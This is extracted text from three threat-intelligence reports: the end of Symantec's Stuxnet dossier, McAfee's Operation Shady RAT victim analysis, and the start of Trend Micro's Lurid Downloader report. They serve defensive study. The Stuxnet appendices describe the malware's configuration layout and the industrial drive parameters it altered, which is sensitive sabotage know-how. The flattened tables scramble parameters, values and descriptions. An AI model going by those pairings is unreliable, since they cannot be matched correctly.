USB spreading stops.) However, the June 2009 has significant differences from the March and April 2010 samples. The compile times appear accurate based on the infection times seen for each sample. A version number contained within the binary also corresponds to this chronology. Table 8 Comparison of Resources March 2010 Resource ID Size June 2009 Resource ID Size 26,616 19,840 14,848 14,336 5,237 520,192 298,000 298,000 9,728 9,728 145,920 145,920 102,400 102,400 10,752 4,171 25,720 17,400 40,960 As discussed in the Stuxnet Architecture section, Stuxnet segregates its functionality via embedded resources. The newer variants have more resources, but are smaller in size. Shown below are the resources for both types shown side by side. The resources in green were added in the latest version, the resources in red were removed from the older version, and the rest of the resources are constant between both old and new samples. The reason for the difference in size is that Resource ID 207 is absent from the newer versions. Resource 207 is 520kB, so although more resources were added in newer versions of Stuxnet, the sum total of the new resource sizes is less than 520kB. The difference in functionality between the June 2009 variant and the March and April 2010 variants is summarized below. Many of the components are actually identical or are close to identical, having the same functionality with slight differences in the code. Page 53 W32.Stuxnet Dossier Security Response Table 12 Description of Components Component June 2009 March 2010 Mrxcls.sys rootkit file Unsigned Fake Siemens DLL DLL inside a .cab file Data file Large Component Wrapper for s7otbldx.dll Data file Loader .dll calls payload Network Explorer Identical Network Explorer Identical Internet Connect .dll Moved to main module Link File Template USB Loader Template Mrxnet.sys rootkit file Keyboard Hook & Injector Signed Same Version info but recompiled Moved to 250 Almost identical Identical Almost identical Red = resource removed, green = resource added. Resources 240, 241, and 242 represent the most significant additions between June 2009 and March 2010. These resources exploit the Microsoft Windows Shortcut Files Automatic File Execution Vulnerability (BID 41732) and implement the Windows rootkit to hide files on USB drives. The June 2009 variant also contained code that was removed in the March 2010 variants. In particular, the June 2009 variants supported Windows 9x and also used autorun.inf to spread on removal drives, instead of the LNK exploit. Resource 207 and 231 were dropped from the newer version of Stuxnet. Resource 231 was used to communicate with the control servers and has the C&C server names stored in plain text within the file. The newer version of Stuxnet has moved the Internet connection functionality inside the main payload .dll file and has moved the URLs from inside resource 231 to the installer component, and the URLs are crudely obfuscated. This gives the attacker the distinct advantage of updating the configuration of each sample without having to rebuild the entire package with a new resource inside. Resource 207 has also been removed but at least part of its functionality has been retained. Resource 250 contains code that previously resided inside resource 207, although as you can see from the sizes that resource 250 is much smaller, so some of the functionality of resource 207 has been removed. Of the more than 3000 samples recovered, almost all are 2010 variants. A very small percentage of the samples are the 2009 variant. The 2009 variant may have spread more slowly and infected far fewer computers, or the late discovery may have meant infections were either replaced with newer versions or remediated. Figure 31 Stuxnet Variants Page 54 Security Response W32.Stuxnet Dossier Summary Stuxnet represents the first of many milestones in malicious code history it is the first to exploit four 0-day vulnerabilities, compromise two digital certificates, and inject code into industrial control systems and hide the code from the operator. Whether Stuxnet will usher in a new generation of malicious code attacks towards realworld infrastructure overshadowing the vast majority of current attacks affecting more virtual or individual assets or if it is a once- in-a-decade occurrence remains to be seen. Stuxnet is of such great complexity requiring significant resources to develop that few attackers will be capable of producing a similar threat, to such an extent that we would not expect masses of threats of similar in sophistication to suddenly appear. However, Stuxnet has highlighted direct-attack attempts on critical infrastructure are possible and not just theory or movie plotlines. The real-world implications of Stuxnet are beyond any threat we have seen in the past. Despite the exciting challenge in reverse engineering Stuxnet and understanding its purpose, Stuxnet is the type of threat we hope to never see again. Page 55 W32.Stuxnet Dossier Security Response Appendix A Table 13 Configuration Data Offset Type Description Dword Magic Dword Header size Dword Validation value Dword Block size Dword Sequence number Dword Performance Info Dword Pointer to Global Config Data Dword Milliseconds to Wait Dword Flag Dword Pointer to Global Config Data Dword Pointer to Global Config Data Dword Pointer to Global Config Data Dword Buffer size Dword Buffer size Dword Buffer size Dword Buffer size Dword Flag Dword Flag, if 0, check +70 (if 1, infect USB without timestamp check) Dword Flag, after checking +6C, if 0, check +78 date Dword lowdatetime (timestamp before infecting USB) Dword highdatetime Dword number of files that must be on the USB key (default 3) Dword Must be below 80h Dword Number of Bytes on disk needed - 5Mb Qword Setup deadline (Jun 24 2012) Dword Flag Dword Flag Qword Timestamp (start of infection e.g., 21 days after this time USB infection will stop) Dword Sleep milliseconds Dword Flag Qword Timestamp Dword Time stamp Dword Flag (if 0, infect USB drive, otherwise, uninfect USB drive) Char[80h] Good domain 1 windowsupdate.com +14c Char[80h] Good domain 2 msn.com +1cc Char[80h] Command and control server 1 +24c Char[80h] URL for C&C server 1 - index.php +2cc Char[80h] Command and control server 2 +34c Char[80h] URL for C&C server 2- index.php Page 56 W32.Stuxnet Dossier Security Response Table 13 Configuration Data Offset Type Description +3cc Dword Flag +3ec Dword Wait time in milliseconds +3f0 Dword Flag - connectivity check +3f4 Dword HighDateTime +3f8 Dword LowDateTime +3d4 Dword TickCount (hours) +414 Dword TickCount milliseconds +418 Char[80h] Step7 project path +498 Dword pointer to global config +49c Dword pointer to global config +4a0 Dword Counter +59c Dword Flag - 0 +5a0 Dword TickCount Check +5AC Dword TickCount Check +5b4 PropagationData block 2 +5f0 PropagationData block 5 +62c PropagationData block 4 +668 PropagationData block 3 +6A4 Dword Flag to control whether WMI jobs should be run +6A8 Dword Flag to control whether scheduled jobs should be run +6AC Dword Flag controlling update +6B4 Dword Flag, disable setup +6b8 PropagationData block 1 Table 14 Format of a Propagation Data block Offset Type Description Qword Timestamp max time Qword Timestamp AV definitions max timestamp Qword Timestamp Kernel DLLs max timestamp Qword Timestamp secondary time Dword Day count Dword Flag check secondary time Dword Flag check time Dword Flag check AV definitions time Dword Flag check Kernel DLLs max timestamp Dword Dword Page 57 Security Response W32.Stuxnet Dossier Appendix B The oem6c.pnf log file This file is created as %Windir%\inf\oem6c.pnf. It is encrypted and used to log information about various actions executed by Stuxnet. This data file appears to have a fixed size of 323,848 bytes. However the payload size is initially empty. On top of storing paths of recorded or infected Step7 project files, other records of information are stored. Each record has an ID, a timestamp, and (eventually) data. Here is a list of records that can be stored to oem6c.pnf: Communication 2DA6h,1 No data. Stored before executing export 28. 2DA6h,2 No data. Stored only if export 28 executed successfully. 2DA6h,3 Has the initial network packet (to HTTP server) been sent. S7P/MCP 246Eh,1 Unknown. Relates to XUTILS\listen\XR000000.MDX. 246Eh,2 Unknown. Relates to GracS\cc_alg.sav. 246Eh,3 Filepath S7P. 246Eh,4 Filepath S7P. 246Eh,4 Filepath MCP. 246Eh,5 Filepath MCP. 246Eh,6 Recorded Step7 project path. Network F409h, 1 Server names collected from network enumeration. F409h, 2 Unknown, index. F409h, 3 No data. Related to exploit (failure/success?). Infection 7A2Bh,2 No data. Infection of last removable device success. 7A2Bh,5 No data. Infection of last removable device failed. 7A2Bh,6 No data. Both files wtr4141/wtr4132 exist on the drive to be infected. 7A2Bh,7 No data. Unknown, created on error. 7A2Bh,8 No data. Created if not enough space on drive to be infected (less than 5Mb). Rootkits F604h,5 No data. Only if Stuxnet and the rootkits were dropped and installed correctly (installation success). Page 58 W32.Stuxnet Dossier Security Response Appendix C The following represents the parameters changed on the frequency drives and their values. Descriptions of the values are provided; however, many of these descriptions especially for parameters over 1000 may be inaccurate (some clearly are inaccurate). These descriptions are derived from multiple sources and, ultimately, custom applications can be used on frequency drives that use and specify their own purpose for these values. Table 15 Table 16 Parameters and values for Vacon drive Parameters and values for Fararo Paya drive Parameter Value Possible Description Parameter Frames 1.1 Value Possible Description Frames 1.1 1086 Disable stop lock - allows parameters adjusting during RUN state (allinone) stop button DIN3 function 8000 RO1 function 12000 RO2 function 8000 output frequency limit 1 supervision 16000 output frequency limit 2 supervision torque limit supervision function reference limit supervision function frequency converter temperature limit supervision analogue supervision signal Response to the 4mA reference fault Response to external fault 14000 Output phase supervision Earth fault protection 61990 Motor thermal protection Stall protection Underload protection Response to undervoltage fault 10500 Frequency ? Input phase supervision 10500 Frequency ? Response to thermistor fault 14001 Response to fieldbus fault 10000 Response to slot fault 14000 Response to PT100 fault 10490 1316 Brake fault action (allinone) 10480 1082 SystemBus communication fault response (allinone) Speed error fault function 30000 1353 Encoder fault mode (advanced) reference scaling min value reference scaling maximum value reference inversion Frequency ? Frequency ? Page 59 W32.Stuxnet Dossier Security Response Table 15 Table 16 Parameters and values for Vacon drive Parameter Value Possible Description Parameters and values for Fararo Paya drive fault Parameter Value warning active reference fault/warning Frames 1.2 overtemperature warning unrequested direction external control place external brake control output frequency limit 1 supervision 10000 Frequency? output frequency limit 2 supervision 10640 Frequency? Reference limit supervision Temperature limit supervision Torque limit supervision Thermistor fault or warning Analogue input supervision limit Scaling of motoring torque limit Analogue output 1 signal selection analogue output function Analogue output 2 signal selection Analogue output 2 function Analogue output 3/ signal selection Analogue output 3/ function digital output 1 function Digital output 1 signal selection Digital output 2 function 10640 Digital output 2 signal selection analogue output function Analogue output 2 function Frames 2.1 Analogue output 3/ function Analogue output 1 signal selection Analogue output 2 signal selection Analogue output 3/ signal selection Analogue output 3 offset 8000 digital output 1 function 12000 Digital output 2 function 8000 Digital output 1 signal selection 16000 Digital output 2 signal selection fault reset acc/dec prohibited DC-braking Cooling monitor 1213 Emergency Stop (allinone) Possible Description Frequency? Page 60 W32.Stuxnet Dossier Security Response Table 15 Table 16 Parameters and values for Vacon drive Parameter Value Possible Description Parameters and values for Fararo Paya drive 1420 Prevention of startup (allinone) Parameter Value scaling of current limit scaling of DC breaking current scaling of acc/dec time external fault close external fault open run enable control from fieldbus control from I/O terminal control from keyboard 30000 current limit current limit Prohibit frequency area 1/ Low limit Prohibit frequency area 1/ High limit Prohibit frequency area 2/ Low limit Prohibit frequency area 2/ High limit Prohibit frequency area 3/ Low limit Prohibit frequency area 3/ High limit 19990 deceleration time 1 ? 19990 deceleration time 2 ? Frames 2.2 1541 19990 Selma Fault Word 1 - ? 1542 19990 Selma Fault Word 2 - ? DC-braking time at stop 10640 DC-braking time at start stop function 10000 start function 1500 Current limit (multimotor) or DIN5 function (lift app) 4000 acceleration time 1 4000 acceleration time 2 1531 Min frequency (highspeed multimotor) control place fieldbus control reference 1410 1502 Maximum frequency (highspeed multimotor) 1505 Current limit (highspeed multimotor) 1508 Nominal speed of the motor (highspeed multimotor) 1511 I/O reference (highspeed multimotor) 1514 Start function (highspeed multimotor) 1500 Possible Description Frequency? Frequency? Page 61 W32.Stuxnet Dossier Security Response Table 15 Table 16 Parameters and values for Vacon drive Parameters and values for Fararo Paya drive Parameter Value Possible Description 1517 DC braking time at stop (highspeed multimotor) 1520 Measured Rs voltage drop (multimotor2) 1503 Acceleration time 1 (highspeed multimotor) 1506 Nominal voltage of the motor (highspeed multimotor) 1509 Nominal current of the motor (highspeed multimotor) 1512 Analogue output function (highspeed multimotor) 1515 Stop function (highspeed multimotor) 1518 Follower drive windong phase shift (advanced) Motor control mode Motor control mode 2 1522 Analogue output 4 inversion (advanced) 1526 DIN5 function (highspeed multimotor) 1525 Analogue output 4 scaling (advanced) 1532 Max frequency (highspeed multimotor) 1527 Analogue output 4 signal selection (advanced) nominal voltage of motor 1519 1064 1516 1063 1520 29990 Measured Rs voltage drop (multimotor2) 1517 29990 DC braking time at stop (highspeed multimotor) 1522 Analogue output 4 inversion (advanced) 1526 DIN5 function (highspeed multimotor) 1525 Analogue output 4 scaling (advanced) 1519 1410 1516 1400 1517 4000 DC braking time at stop (highspeed multimotor) 1518 5990 Follower drive windong phase shift (advanced) 1513 1062 1510 1061 1507 1060 1504 1059 1501 1058 Parameter Value 1200 10640 Possible Description Frequency? Page 62 W32.Stuxnet Dossier Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description Frames 1.2 Number of stop bits Frames 2.1 1086 Disable stop lock - allows parameters adjusting during RUN state (allinone) stop button stop function output frequency limit 1 supervision output frequency limit 2 supervision torque limit supervision function reference limit supervision function frequency converter temperature limit supervision analogue supervision signal Response to the 4mA reference fault Response to external fault Output phase supervision Earth fault protection Motor thermal protection Stall protection Underload protection Response to undervoltage fault Input phase supervision Response to thermistor fault Response to fieldbus fault Response to slot fault Response to PT100 fault 1316 Brake fault action (allinone) 1082 SystemBus communication fault response (allinone) Speed error fault function 1353 Encoder fault mode (advanced) reference scaling min value reference scaling maximum value reference inversion fault warning active reference fault/warning overtemperature warning Page 63 W32.Stuxnet Dossier Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description unrequested direction external control place external brake control output frequency limit 1 supervision output frequency limit 2 supervision Reference limit supervision Temperature limit supervision Torque limit supervision Thermistor fault or warning Analogue input supervision limit Scaling of motoring torque limit Analogue output 1 signal selection analogue output function Analogue output 2 signal selection Analogue output 2 function Analogue output 3/ signal selection Analogue output 3/ function digital output 1 function Digital output 1 signal selection Digital output 2 function Digital output 2 signal selection fault reset acc/dec prohibited DC-braking Cooling monitor 1213 Emergency Stop (allinone) 1420 Prevention of startup (allinone) Overvoltage controller 1267 Brake chopper level (advanced) 1262 Overvoltage reference selection (advanced) Flux brake 1522 Analogue output 4 inversion (advanced) 1526 DIN5 function (highspeed multimotor) 1525 Analogue output 4 scaling (advanced) DC-braking time at start DC-braking time at stop start function deceleration time 1 deceleration time 2 Page 64 W32.Stuxnet Dossier Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 1541 Selma Fault Word 1 - ? 1542 Selma Fault Word 2 - ? 1531 Min frequency (highspeed multimotor) 1532 Max frequency (highspeed multimotor) control place switching frequency scaling of current limit scaling of DC breaking current scaling of acc/dec time external fault close external fault open run enable control from fieldbus control from I/O terminal control from keyboard Motor control mode Motor control mode 2 U/f ratio selection min frequency current limit current limit nominal voltage of motor 2800 output voltage at zero frequency nominal speed of motor motor cos phi 2850 U/f curve/ middle point voltage 3000 voltage at field weakening point 1519 Automatic restart/ Wait time Automatic restart/ Trial time Automatic restart/ Number of tries after overvoltage trip Automatic restart/ Number of tries after overcurrent trip DIN3 function RO1 function RO2 function 3000 acceleration time 1 3000 acceleration time 2 Page 65 W32.Stuxnet Dossier Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 1502 3000 Maximum frequency (highspeed multimotor) ? 19990 deceleration time 1 ? 19990 deceleration time 2 ? 1541 19990 Selma Fault Word 1 - ? 1542 19990 Selma Fault Word 2 - ? brake chopper brake chopper 1531 Min frequency (highspeed multimotor) stop function Frames 2.2 stop function 1532 Max frequency (highspeed multimotor) 1541 Selma Fault Word 1 - ? 1542 Selma Fault Word 2 - ? deceleration time 1 deceleration time 2 1522 Analogue output 4 inversion (advanced) 1526 DIN5 function (highspeed multimotor) 1525 Analogue output 4 scaling (advanced) control place 1531 Min frequency (highspeed multimotor) 1064 1064 10000 voltage at field weakening point 1000 U/f curve/ middle point voltage output voltage at zero frequency 1531 Min frequency (highspeed multimotor) DC-braking time at start start function acceleration time 1 U/f ratio selection Page 66 W32.Stuxnet Dossier Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description acceleration time 2 1502 Maximum frequency (highspeed multimotor) 1522 Analogue output 4 inversion (advanced) 1526 DIN5 function (highspeed multimotor) 1525 Analogue output 4 scaling (advanced) Page 67 Security Response W32.Stuxnet Dossier Revision History Version 1.0 (September 30, 2010) Initial publication Version 1.1 (October 12, 2010) Added Windows Win32k.sys Local Privilege Escalation (MS10-073) section. Updates to Modifying PLCs section, based on MS10-073. Other minor updates. Version 1.2 (November 3, 2010) Added Behavior of a PLC infected by sequence A/B section. Version 1.3 (November 12, 2010) Updated the Modifying PLCs section. Added Appendix C. Version 1.4 (February 11, 2011) New content added to the Infection Statistics, The monitor thread, Sequence C, and Variants sections. Minor edits and updates to Configuration Data Block, Behavior of a PLC infected by sequence A/B, and Other export hooks sections. Page 68 Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information. Headquartered in Cupertino, Calif., Symantec has operations in more than 40 countries. More information is available at www.symantec.com. About the authors Nicolas Falliere is a Senior Software Engineer, Liam O Murchu is a Development Manager, and Eric Chien is a Technical Director within Symantec Security Response. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 (800) 745 6054. Symantec Corporation World Headquarters 20330 Stevens Creek Blvd. Cupertino, CA 95014 USA +1 (408) 517 8000 1 (800) 721 3934 www.symantec.com Copyright 2011 Symantec Corporation. All rights reserved. Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. White Paper Revealed: Operation Shady RAT By Dmitri Alperovitch, Vice President, Threat Research, McAfee An investigation of targeted intrusions into more than 70 global companies, governments, and non-profit organizations during the last five years Version 1.1 White Paper Revealed: Operation Shady RAT For the last few years, especially since the public revelation of Operation Aurora, the targeted successful intrusion into Google and two dozen other companies, I have often been asked by our worldwide customers if they should worry about such sophisticated penetrations themselves or if that is a concern only for government agencies, defense contractors, and perhaps Google. My answer in almost all cases has been unequivocal: absolutely. Having investigated intrusions such as Operation Aurora and NightDragon (the systemic long-term compromise of Western oil and gas industry), as well as numerous others that have not been disclosed publicly, I am convinced that every company in every conceivable industry with significant size and valuable intellectual property and trade secrets has been compromised (or will be shortly), with the great majority of the victims rarely discovering the intrusion or its impact. In fact, I divide the entire set of Fortune Global 2,000 firms into two categories: those that know they ve been compromised and those that don t yet know. Lately, with the rash of revelations about attacks on organizations such as RSA, Lockheed Martin, Sony, PBS, and others, I have been asked by surprised reporters and customers whether the rate of intrusions is increasing and if it is a new phenomenon. I find the question ironic because these types of exploitations have occurred relentlessly for at least a half decade, and the majority of the recent disclosures in the last six months have, in fact, been a result of relatively unsophisticated and opportunistic exploitations for the sake of notoriety by loosely organized political hacktivist groups such as Anonymous and Lulzsec. On the other hand, the targeted compromises we are focused known as advanced persistent threats (APTs) are much more insidious and occur largely without public disclosures. They present a far greater threat to companies and governments, as the adversary is tenaciously persistent in achieving their objectives. The key to these intrusions is that the adversary is motivated by a massive hunger for secrets and intellectual property; this is different from the immediate financial gratification that drives much of cybercrime, another serious but more manageable threat. What we have witnessed over the past five to six years has been nothing short of a historically unprecedented transfer of wealth closely guarded national secrets (including those from classified government networks), source code, bug databases, email archives, negotiation plans and exploration details for new oil and gas field auctions, document stores, legal contracts, supervisory control and data acquisition (SCADA) configurations, design schematics, and much more has fallen off the truck of numerous, mostly Western companies and disappeared in the ever-growing electronic archives of dogged adversaries. White Paper Revealed: Operation Shady RAT What is happening to all this data by now reaching petabytes as a whole is still largely an open question. However, if even a fraction of it is used to build better competing products or beat a competitor at a key negotiation (due to having stolen the other team s playbook), the loss represents a massive economic threat not just to individual companies and industries but to entire countries that face the prospect of decreased economic growth in a suddenly more competitive landscape and the loss of jobs in industries that lose out to unscrupulous competitors in another part of the world. And let s not forget the national security impact of the loss of sensitive intelligence or defense information. Yet, the public (and often the industry) understanding of this significant national security threat is largely minimal due to the very limited number of voluntary disclosures by victims of intrusion activity compared to the actual number of compromises that take place. With the goal of raising the level of public awareness today, we are publishing the most comprehensive analysis ever revealed of victim profiles from a five-year targeted operation by one specific actor Operation Shady RAT, as I have named it at McAfee (RAT is a common acronym in the industry that stands for remote access tool). This is not a new attack, and the vast majority of the victims have long since remediated these specific infections (although whether most realized the seriousness of the intrusion or simply cleaned up the infected machine without further analysis into the data loss is an open question). McAfee has detected the malware variants and other relevant indicators for years with Generic Downloader.x and Generic BackDoor.t heuristic signatures (those who have had prior experience with this specific adversary may recognize it by the use of encrypted HTML comments in web pages that serve as a command channel to the infected machine). McAfee has gained access to one specific command and control (C&C) server used by the intruders. We have collected logs that reveal the full extent of the victim population since mid-2006 when the log collection began. Note that the actual intrusion activity may have begun well before that time, but that is the earliest evidence we have for the start of the compromises. The compromises themselves were standard procedure for these types of targeted intrusions: a spear-phishing email containing an exploit is sent to an individual with the right level of access at the company, and the exploit, when opened, on an unpatched system will trigger a download of the implant malware. That malware will execute and initiate a backdoor communication channel to the C&C web server and interpret the instructions encoded in the hidden comments embedded in the webpage code. This will be quickly followed by live intruders jumping on to the infected machine and proceeding to quickly escalate privileges and move laterally within the organization to establish new persistent footholds via additional compromised machines running implant malware, as well as targeting for quick exfiltration the key data they came for. After painstaking analysis of the logs, even we were surprised by the enormous diversity of the victim organizations and were taken aback by the audacity of the perpetrators. Although we will refrain from explicitly identifying most of the victims, describing only their general industry, we feel that naming names is warranted in certain cases, not with the goal of attracting attention to a specific victim organization, but to reinforce the fact that virtually everyone is falling prey to these intrusions, regardless of whether they are the United Nations, a multinational Fortune 100 company, a small, non-profit think tank, a national Olympic team, or even an unfortunate computer security firm. White Paper Revealed: Operation Shady RAT In all, we identified 71 compromised parties (many more were present in the logs but without sufficient information to accurately identify them). Of these, the breakdown of 32 unique organization categories follows: US Federal Government US State Government US County Government Canadian Government Vietnam Government Taiwan Government Government Contractor United Nations Indian Government Electronics Industry Computer Security Energy Information Technology Solar Power Satellite Communications News Media Information Services Communications Technology Construction/ Heavy Industry Steel Industry Defense Contractor Real Estate Accounting Industry Agriculture Insurance International Sports Economics/ Trade Think Tanks International Government/ Economics/ Trade Political Non-Profit US National Security Non-Profit Source: McAfee White Paper Revealed: Operation Shady RAT And for those who believe these compromises occur only in the United States, Canada, and Europe, allow me to change that perception with the following statistics on 14 geographic locations of the targets: Victim s Country of Origin Victim Count Victim s Country of Origin Victim Count Indonesia Canada Vietnam South Korea Denmark Taiwan Singapore Japan Hong Kong Switzerland Germany United Kingdom India Source: McAfee White Paper Revealed: Operation Shady RAT The interest in the information held at the Asian and Western national Olympic Committees, as well as the International Olympic Committee (IOC) and the World Anti-Doping Agency in the lead-up and immediate follow-up to the 2008 Olympics was particularly intriguing and potentially pointed a finger at a state actor behind the intrusions, because there is likely no commercial benefit to be earned from such hacks. The presence of political non-profits, such as a private western organization focused on promotion of democracy around the globe or a US national security think tank is also quite illuminating. Hacking the United Nations or the Association of Southeast Asian Nations (ASEAN) Secretariat is also not likely a motivation of a group interested only in economic gains. Another fascinating aspect that the logs have revealed to us is the changing tasking orders of the perpetrators as the years have gone by. In 2006, the year that the logs begin, we saw only eight intrusions: two on South Korean steel and construction companies and one each on a Department of Energy Research Laboratory, a US real estate firm, international trade organizations of Asian and Western nations and the ASEAN Secretariat. (That last intrusion began in October, a month prior to the organization s annual summit in Singapore, and continued for another 10 months.) In 2007, the pace of activity jumped by a whopping 260 percent to a total of 29 victim organizations. That year we began to see new compromises of no fewer than four US defense contractors, Vietnam s government-owned technology company, US federal government agency, several US state and county governments, and one computer network security company. The compromises of the Olympic Committees of two nations in Asia and one Western country began that year as well. In 2008, the count went up further to 36 victims, including the United Nations and the World Anti-Doping Agency, and to 38 in 2009. Then the number of intrusions fell to 17 in 2010 and to 9 in 2011, likely due to the widespread availability of the countermeasures for the specific intrusion indicators used by this specific actor. These measures caused the perpetrator to adapt and increasingly employ a new set of implant families and C&C infrastructure (causing activity to disappear from the logs we analyzed). Even news media was not immune to the targeting, with one major US news organization compromised at its New York headquarters and Hong Kong bureau for more than 21 months. The shortest time that an organization remained compromised was less than a single month; nine share that honor: International Olympic Committee (IOC), Vietnam s government-owned technology company, a trade organization of a nation in Asia, one Canadian government agency, one US defense contractor, one US general government contractor, one US state and one county government, and a US accounting firm. I must, however, caution that this may not necessarily be an indication of the rapid reaction of information security teams in those organizations, but perhaps merely evidence that the actor was interested only in a quick smash and grab operation that did not require a persistent compromise of the victim. The longest compromise was recorded at an Olympic Committee of a nation in Asia; it lasted on and off for 28 months, finally terminating in January 2010. White Paper Revealed: Operation Shady RAT Below is the complete list of all 71 targets, with country of origin, start date of the initial compromise and duration of the intrusions: Victim Country Intrusion Start Date Intrusion Duration (Months) South Korean Construction Company South Korea July 2006 South Korean Steel Company South Korea July 2006 Department of Energy Research Laboratory July 2006 Trade Organization Country in Asia July 2006 US International Trade Organization September 2006 ASEAN (Association of Southeast Asian Nations) Secretariat Indonesia October 2006 US Real-Estate Firm #1 November 2006 Vietnam s Government-owned Technology Company Vietnam March 2007 US Real-Estate Firm #2 April 2007 US Defense Contractor #1 May 2007 US Defense Contractor #2 May 2007 US Northern California County Government June 2007 US Southern California County Government June 2007 US State Government #1 July 2007 US Federal Government Agency #1 July 2007 Olympic Committee of Asian Country #1 Country in Asia July 2007 US State Government #2 August 2007 US State Government #3 August 2007 US Federal Government Agency #2 August 2007 Olympic Committee of Western Country Western Country August 2007 Taiwanese Electronics Company Taiwan September 2007 US Federal Government Agency #3 September 2007 US Federal Government Agency #4 September 2007 Western Non-Profit, Democracy-Promoting Organization Western Country September 2007 Olympic Committee of Asian Country #2 Country in Asia September 2007 International Olympic Committee Switzerland November 2007 US Defense Contractor #3 November 2007 US Network Security Company December 2007 US Defense Contractor #4 December 2007 White Paper Revealed: Operation Shady RAT Victim Country Intrusion Start Date Intrusion Duration (Months) US Accounting Firm January 2008 US Electronics Company February 2008 UK Computer Security Company United Kingdom February 2008 US National Security Think Tank February 2008 US Defense Contractor #5 February 2008 US Defense Contractor #6 February 2008 US State Government #4 April 2008 Taiwan Government Agency Taiwan April 2008 US Government Contractor #1 April 2008 US Information Technology Company April 2008 US Defense Contractor #7 April 2008 US Construction Company #1 May 2008 US Information Services Company May 2008 Canadian Information Technology Company Canada July 2008 US National Security Non-Profit July 2008 Denmark Satellite Communications Company Denmark August 2008 United Nations Switzerland September 2008 Singapore Electronics Company Singapore November 2008 UK Defense Contractor United Kingdom January 2009 US Satellite Communications Company February 2009 US Natural Gas Wholesale Company March 2009 US Nevada County Government April 2009 US State Government #5 April 2009 US Agricultural Trade Organization May 2009 US Construction Company #2 May 2009 US Communications Technology Company May 2009 US Defense Contractor #8 May 2009 US Defense Contractor #9 May 2009 US Defense Contractor #10 June 2009 US News Organization, Headquarters August 2009 US News Organization, Hong Kong Bureau Hong Kong August 2009 US Insurance Association August 2009 World Anti-Doping Agency Canada August 2009 German Accounting Firm Germany September 2009 White Paper Revealed: Operation Shady RAT Victim Country Intrusion Start Date Intrusion Duration (Months) US Solar Power Energy Company September 2009 Canadian Government Agency #1 Canada October 2009 US Government Organization #5 November 2009 US Defense Contractor #11 December 2009 US Defense Contractor #12 December 2009 Canadian Government Agency #2 Canada January 2010 US Think Tank April 2010 Indian Government Agency India September 2010 Below are the complete timelines for each year of intrusion activity. It could be an interesting exercise to map some of these specific compromises to various geopolitical events that occurred around these times. (The gaps in the timelines for continuous infections aimed at specific victims may not necessarily be an indication of a successful cleanup before a new reinfection, but rather an artifact of our log collection process that did not mark every activity that occurred on the adversary s infrastructure, potentially leading to these gaps in the data) Source: McAfee White Paper Revealed: Operation Shady RAT Source: McAfee White Paper Revealed: Operation Shady RAT Source: McAfee White Paper Revealed: Operation Shady RAT Source: McAfee White Paper Revealed: Operation Shady RAT Source: McAfee Source: McAfee White Paper Revealed: Operation Shady RAT Although Shady RAT s scope and duration may shock those who have not been as intimately involved in the investigations into these targeted espionage operations as we have been, I would like to caution you that what I have described here has been one specific operation conducted by a single actor/group. We know of many other successful targeted intrusions (not counting cybercrime-related ones) that we are called in to investigate almost weekly, which impact other companies and industries. This is a problem of massive scale that affects nearly every industry and sector of the economies of numerous countries, and the only organizations that are exempt from this threat are those that don t have anything valuable or interesting worth stealing. You can follow Dmitri Alperovitch, vice president of threat research, McAfee, on Twitter at http://twitter.com/DmitriCyber. Revision history Update: As we ve worked further with the Korean Government on this investigation, we have come to a conclusion that a Korean Government agency was most likely not a victim of these intrusions. We are still working to determine the identity of the victim organization About McAfee McAfee, a wholly owned subsidiary of Intel Corporation (NASDAQ:INTC), is the world s largest dedicated security technology company. McAfee delivers proactive and proven solutions and services that help secure systems, networks, and mobile devices around the world, allowing users to safely connect to the Internet, browse, and shop the web more securely. Backed by its unrivaled global threat intelligence, McAfee creates innovative products that empower home users, businesses, the public sector, and service providers by enabling them to prove compliance with regulations, protect data, prevent disruptions, identify vulnerabilities, and continuously monitor and improve their security. McAfee is relentlessly focused on constantly finding new ways to keep our customers safe. http://www.mcafee.com McAfee 2821 Mission College Boulevard Santa Clara, CA 95054 888 847 8766 www.mcafee.com McAfee and the McAfee logo are registered trademarks or trademarks of McAfee, Inc. or its subsidiaries in the United States and other countries. Other marks and brands may be claimed as the property of others. The product plans, specifications and descriptions herein are provided for information only and subject to change without notice, and are provided without warranty of any kind, express or implied. Copyright 2011 McAfee, Inc. 33000wp_shady-rat_0811 THE LURID DOWNLOADER TrendLabs By Nart Villeneuve & David Sancho The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS CONTENTS ABSTRACT .....................................................................................................3 INTRODUCTION ............................................................................................4 ATTACK VECTOR...........................................................................................6 MALWARE ......................................................................................................6 COMMUNICATION WITH THE COMMAND AND CONTROL SERVER ..........8 COMMANDS ...................................................................................................8 TOOL MARKS...............................................................................................10 COMMAND AND CONTROL INFRASTRUCTURE .......................................10 COMPROMISED ORGANIZATIONS.............................................................12 MALWARE CAMPAIGNS ..............................................................................13 NOTEWORTHY COMPROMISED ORGANIZATIONS ..................................14 DATA EX-FILTRATION ..................................................................................15 ATTRIBUTION ..............................................................................................16 CONCLUSION ..............................................................................................16 2 | R ESEARCH PAPER THE LURID DOWNLOADER The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS ABSTRACT This report investigates a campaign of targeted malware attacks that has successfully compromised 1465 computers in 61 different countries. Based on the project path embedded in the malware, we have named this speci c campaign Lurid Downloader although the malware is typically known as Enfal . The majority of the victims are located in Russia and other members of the Commonwealth of Independent States (CIS). We were able to identify 47 victims that include numerous government ministries and diplomatic missions along with space-related government agencies, companies and research institutions in Russia and other members of the CIS along with a smaller amount of similar entities in Europe. The threat actors behind Lurid Downloader launched 301 malware campaigns targeting entities in speci c countries or geographic regions and tracked the success of each campaign by embedding a unique identi er in each instance of malware and associating it 